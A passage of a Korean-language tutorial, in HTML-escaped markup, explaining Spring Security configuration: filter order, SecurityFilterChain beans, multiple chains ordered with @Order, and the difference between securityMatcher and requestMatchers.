            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;httpBasic&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;formLogin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authenticated&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;이 설정은 다음 순서로 필터를 실행합니다:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CsrfFilter&lt;/code&gt; - CSRF 공격 방어&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BasicAuthenticationFilter&lt;/code&gt; - HTTP Basic 인증&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UsernamePasswordAuthenticationFilter&lt;/code&gt; - 폼 로그인 인증&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AuthorizationFilter&lt;/code&gt; - 인가 처리&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;실전-설정-기본부터-시작하기&quot;&gt;실전 설정: 기본부터 시작하기&lt;/h1&gt;

&lt;p&gt;가장 기본적인 스프링 시큐리티 설정은 이렇습니다:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Configuration&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;@EnableWebSecurity&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;WebSecurityConfig&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserDetailsService&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;userDetailsService&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;InMemoryUserDetailsManager&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;InMemoryUserDetailsManager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;createUser&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaultPasswordEncoder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;roles&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;USER&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;이 간단한 설정만으로도:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;모든 URL에 대해 인증 요구&lt;/li&gt;
  &lt;li&gt;로그인 폼 자동 생성&lt;/li&gt;
  &lt;li&gt;폼 기반 인증 지원&lt;/li&gt;
  &lt;li&gt;로그아웃 지원&lt;/li&gt;
  &lt;li&gt;CSRF 공격 방어&lt;/li&gt;
  &lt;li&gt;세션 고정 공격 방어&lt;/li&gt;
  &lt;li&gt;보안 헤더 통합 (HSTS, X-Content-Type-Options 등)&lt;/li&gt;
  &lt;li&gt;서블릿 API 메서드 통합&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;이 모든 게 작동합니다!&lt;/p&gt;

&lt;h1 id=&quot;httpsecurity-세밀한-제어&quot;&gt;HttpSecurity: 세밀한 제어&lt;/h1&gt;

&lt;p&gt;위의 기본 설정은 사실 내부적으로 이런 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityFilterChain&lt;/code&gt;을 만듭니다:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;filterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authenticated&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;formLogin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;httpBasic&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;이 설정은:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;모든 요청에 인증 필요&lt;/li&gt;
  &lt;li&gt;폼 로그인 허용&lt;/li&gt;
  &lt;li&gt;HTTP Basic 인증 허용&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;여러-개의-httpsecurity-영역별로-다른-보안-설정&quot;&gt;여러 개의 HttpSecurity: 영역별로 다른 보안 설정&lt;/h1&gt;

&lt;p&gt;실제 애플리케이션에서는 영역마다 다른 보안 설정이 필요할 때가 많습니다. 여러 개의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityFilterChain&lt;/code&gt; 빈을 등록하면 됩니다:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Configuration&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;@EnableWebSecurity&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;MultiHttpSecurityConfig&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserDetailsService&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;userDetailsService&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;UserBuilder&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaultPasswordEncoder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;InMemoryUserDetailsManager&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;InMemoryUserDetailsManager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;createUser&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;roles&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;USER&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;createUser&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;admin&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;roles&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;USER&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ADMIN&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;@Order&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// 우선순위 높음&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;apiFilterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;securityMatcher&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/**&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// /api/**에만 적용&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;hasRole&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ADMIN&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;httpBasic&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// @Order 없으면 가장 낮은 우선순위&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;formLoginFilterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authenticated&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;formLogin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;securitymatcher-vs-requestmatchers-뭐가-다른가&quot;&gt;securityMatcher vs requestMatchers: 뭐가 다른가?&lt;/h1&gt;

&lt;p&gt;헷갈리기 쉬운 부분입니다:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http.securityMatcher()&lt;/code&gt;: 이 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityFilterChain&lt;/code&gt; 자체가 어떤 요청에 적용될지 결정&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requestMatchers()&lt;/code&gt;: 체인 안에서 개별 인가 규칙이 어떤 요청에 적용될지 결정&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;securedFilterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;securityMatcher&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/secured/**&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// 이 체인은 /secured/**에만 적용&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;requestMatchers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/secured/user&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;hasRole&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;USER&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;// 세부 규칙&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;requestMatchers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/secured/admin&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;hasRole&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ADMIN&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// 세부 규칙&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authenticated&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;httpBasic&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;formLogin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;중요:&lt;/strong&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;securityMatcher&lt;/code&gt;를 지정하면 매칭되는 요청만 보호됩니다. 매칭 안 되는 요청은 스프링 시큐리티가 보호하지 않아요! 따라서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;securityMatcher&lt;/code&gt; 없는 기본 체인을 하나 두는 게 좋습니다.&lt;/p&gt;

&lt;h1 id=&quot;securityfilterchain-엔드포인트-주의사항&quot;&gt;SecurityFilterChain 엔드포인트 주의사항&lt;/h1&gt;

